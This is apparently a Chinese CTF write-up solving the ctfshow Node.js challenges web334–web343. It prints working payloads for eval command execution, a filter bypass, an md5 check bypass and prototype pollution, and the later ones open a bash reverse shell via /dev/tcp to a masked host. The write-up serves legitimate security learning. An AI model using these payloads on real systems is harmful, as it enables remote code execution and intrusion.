ctfshow node.js专题
文章目录
- web334
- web335
- web336
- web337
- web338
- web339
- web340
- web341
- web342、web343
web334
给了附件,然后进入后发现是一个登录框。
在附件中知道了账号密码,但是却无法登录。
先看user从哪里获取:
var user = findUser(req.body.username, req.body.password);
发现用的是findUser方法,找到该方法。
var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};
会发现,有一个name不能等于CTFSHOW,但最终的username又经过了name.toUpperCase()方法,搜一下该方法。
所以输入一个不是全大写的ctfshow即可。
payload:
username=ctfSHOW&password=123456
web335
这一题源码里有一个/?eval=
明显想让我用eval函数,去学一下js的eval函数用法。
找到了
[child_process.execSync(command, options]) | Node.js API 文档 (nodejs.cn)
利用child_process.execSync()方法配合eval进行命令执行。
payload:
?eval=require(%27child_process%27).execSync(%27cat%20fl00g.txt%27)
web336
和335一样同样是命令执行,尝试几次后发现exec被过滤,去找一下child_process中是否有其它函数可以用。
找到了好几种函数,用spawnSync函数试一下。
直接按照上一题改的话不行
要两部分,分开一下。
payload:
?eval=require("child_process").spawnSync(%27ls%27,[%27./%27]).stdout.toString()
然后就可以直接读取flag,大不太明白stdout是啥,上网看一下。
是一个输出流函数,刚学过java输出流,原理应该差不多。
所以理所应当output也可以:
?eval=require("child_process").spawnSync(%27ls%27,[%27./%27]).output.toString()
然后看了其他师傅的解题思路。
学到了一个小知识点。
知道路径后便可以利用readFileSync函数来读取文件
payload:
?eval=require(%27fs%27).readFileSync(%27/app/routes/index.js%27,%20{encoding:%27utf8%27,%20flag:%27r%27})
还有师傅想到可以用拼接来绕过过滤:
?eval=require(%27child_process%27)[%27exe%27%2B%27cSync%27](%27cat%20fl001g.txt%27).toString()
web337
题目给了源码,源码看起来和简单:
var express = require('express');
var router = express.Router();
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}});module.exports = router;
一个简单的md5绕过,本来以为和php的md5一样,直接给开头都是0e的两个长度相同的字符串就行,试了之后发现行不通。
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}let a='0e1'
let c='0e2'
let b = a+"flag{666}"
console.log(md5(a))
console.log(md5(c))
if(md5(a)===md5(c)){console.log("success")
}
可见js的md5加密后并不会将0e开头的字符当成0,尝试了可以利用对象的形式绕过:
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}let a={1:'2'
}
let c={1:'2'
}
let b = a+"flag{666}"
let d = c+"flag{666}"
console.log(b)
console.log(c)
console.log(md5(b))
console.log(md5(d))
本地成功后但在网页上一直没成功。
数组绕过:
?a[]=1&b[]=1
去看一下原理。
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}let a=[1]
let c=1
let b = a+"flag{666}"
let d = c+"flag{666}"
console.log(a)
console.log(c)
console.log(b)
console.log(d)
console.log(md5(b))
console.log(md5(d))
if(a!==c){console.log("success1")
}
if(md5(b)===md5(d)){console.log("success2")
}
payload:
?a[]=a&b=a
这样也行,js拼接特点。
web338
给了源码,直接到路由routes,看重点:
secert.ctfshow==='36dboy'
secetr是一个对象,想要修改secert属性,因为secetr无法控制,想到了原型链污染。
简单写个demo:
let user = {a: 1}
let secert = {}
user.__proto__.ctfshow = 2
console.log(user.ctfshow)
console.log(secert.ctfshow)
运行后会发现,我修改了user.__proto__中ctfshow这个属性的值,然而secret中ctfshow属性的值,严格来说应该是secret.proto.ctfshow的值,思路有了,修改object中ctfshow的值,因为node.js的特点,secert.ctfshow的值也会被修改。
题目页面是一个登陆页面,刚好也是一个json解析。
payload:
{"__proto__":{"ctfshow":"36dboy"}}
web339
和上一题很相似,但条件变了。
让secert.ctfshow等于flag才打印出来flag,我们目的是得到flag,果断放弃这个点。
多了一个api接口:
query中的Function内容可以用原型链污染来控制(模板渲染)。
因为是function,可以用global.process.mainModule.constructor._load来加载child_process(require会报错),然后利用exec来反弹shell。
payload:
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}
web340
和上一题一样,不过
var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false; };}
user.__proto__并不是Object.prototype,user.__proto.__proto__才是
套两层即可。
查看环境变量时就会发现
query已经被修改。
payload:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxxx 0>&1\"')"}}}
web341
和上边差不多,不过这次污染的是outputFunctionName这条链。
payload:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}}
web342、web343
网上的链子:
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxxx/xxxx 0>&1\"')"}}}
ctfshow node.js专题相关推荐
- ctfshow—Node.js漏洞总结
1 Js大小写绕过 ctfshow web334 下载源码 var findUser = function(name, password){return users.find(function(ite ...
- 【特别推荐】Node.js 中文学习资料和教程导航
这篇文章来自 Github 上的一位开发者收集整理的 Node.js 中文学习资料和教程导航.Node 是一个服务器端 JavaScript 解释器,它将改变服务器应该如何工作的概念,它的目标是帮助程 ...
- Node.js 4.x 入门实战视频课程【讲师辅导】-曾亮-专题视频课程
Node.js 4.x 入门实战视频课程[讲师辅导]-15843人已学习 课程介绍 [会员免费]链接 http://edu.csdn.net/lecturer/585 右侧办理会员卡. ...
- HTML5/Node.js/JS 经验谈 (会员专属)【讲师辅导】-曾亮-专题视频课程
HTML5/Node.js/JS 经验谈 (会员专属)[讲师辅导]-5481人已学习 课程介绍 QQ 1405491181 链接 http://edu.csdn.net/lecture ...
- Node.js CQRS 幻灯片系统开发实战-曾亮-专题视频课程
Node.js CQRS 幻灯片系统开发实战-328人已学习 课程介绍 通过 Node.js . Express 和 CQRS 技术开发幻灯片系统. 我们已经习惯于 MVC 开发,也都 ...
- Node.js 6.x 入门-曾亮-专题视频课程
Node.js 6.x 入门-2484人已学习 课程介绍 链接 http://edu.csdn.net/lecturer/585 右侧可办理会员卡.会员可免费看曾老师已出,和会员期内发 ...
- Node.js(MEAN)全栈开发入门-安晓辉-专题视频课程
Node.js(MEAN)全栈开发入门-28082人已学习 课程介绍 本课程从Node.js切入,以实现一个Web管理系统为目标,以点带面地介绍MEAN技术栈(MongoDB+Expr ...
- 跟李宁老师做项目:小程序版网上商城(Node.js + Express + MySQL)-李宁-专题视频课程...
跟李宁老师做项目:小程序版网上商城(Node.js + Express + MySQL)-8799人已学习 课程介绍 本课程采用的技术包括小程序开发.Node.js.Express和M ...
- 项目实战视频课程:美团小程序(Node.js+Express+支付)-李宁-专题视频课程
项目实战视频课程:美团小程序(Node.js+Express+支付)-473人已学习 课程介绍 小程序视频教程,本课程实现了美团小程序的核心部分.采用异步的方式,通过AJAX从服务端获 ...
最新文章
- ThinkPHP3.2 volist嵌套循环显示原理
- python程序员脱单攻略_520 情人节 :属于 Python 程序员的脱单攻略大合集(视频版)...
- 使用OpenCV库快速求解相机内参
- linux安装mongo卸载mongo,CentOS7安装及卸载MongoDB.md
- linux:文件及目录管理
- 【神经网络】2. 神经网络设计过程
- 偏微分方程数值解主要步骤
- 关于代付和分账系统的区别
- 微信如何推送html文件,微信推送怎么附上文件_怎样在微信公众号上传附件图文步骤...
- 正常图片转灰色图片——灰度图
- 程序设计基本结构———顺序、选择与循环
- 标准差(standard deviation)
- 什么除酵节?什么是逾越节?
- SLCP验厂辅导,工厂进行社会劳工整合项目(SLCP认证)验证的具体步骤是
- 在三线城市工作爽吗?
- 如何注册全部DLL文件以及DLL简要说明
- MySQL工程师干什么,MySQL DBA工程师岗位职责
- requests爬取去哪儿网站
- 利用百度地图,实现移动端附近门店功能
- css3模板替换php,将ECSHOP的首页主广告轮播替换为CSS+JS,最模板方法一(2)
热门文章
- [CocosCreator]热更新插件使用心得以及注意事项
- IOS 隐私政策网址 URL MG
- SQL查询某个时间段购买过商品的所有用户
- 人工智能自动sql优化工具--SQLTuning for SQL Server
- 数理统计方差齐性检验Python实现
- 一文搞懂前台,后台,中台,前端,后端,管理端,业务端,技术中台,业务中台,数据中台,物联网中台到底是什么?
- Ubuntu14.04安装有道词典
- 远程桌面 域计算机,在AD中实现仅普通域用户可通过远程桌面控制自身计算机
- 手机token登入软件_app开发调试工具_app开发token使用
- Vue启动项目报错:Can‘t resolve ‘xxx‘ in ‘D:\briup\vue_test\node_modules\send‘